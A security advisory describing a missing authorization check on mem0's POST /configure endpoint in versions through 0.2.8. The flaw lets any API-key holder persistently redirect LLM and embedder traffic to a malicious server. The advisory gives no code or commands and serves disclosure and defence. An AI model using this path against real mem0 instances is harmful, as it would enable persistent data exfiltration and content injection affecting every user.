Mem0 versions up to 0.2.8 allow any authenticated user who holds a distributed API key to post changes to the /configure endpoint; however the server does not check the caller’s role before applying the modification. The endpoint changes global LLM provider and embedder settings, and stores the new configuration in PostgreSQL. This persistence means that once altered the configuration survives server restarts and impacts all users and API keys on the instance. The attacker can thus redirect all LLM and embedder traffic to a malicious server, creating a covert channel for data exfiltration or injection of harmful content.

The vulnerable product is mem0, a self‑hosted AI platform produced by mem0ai. All releases up through 0.2.8 contain the flaw. The vulnerability exists only in the server component handling the POST /configure API call and does not affect the client or web interface directly.

The CVSS base score of 8.6 classifies this flaw as high severity. Because exploitation requires an authenticated session with a distributed API key, the likelihood of successful attacks is limited to users who can obtain or share such credentials. The EPSS score is not available, and the vulnerability is not listed in the CISA KEV catalog, suggesting that widespread public exploitation has not been reported yet. Nevertheless, the flaw permits a malicious actor to permanently alter the server’s configuration, impacting all users, and could be leveraged for persistent data leakage or injection attacks.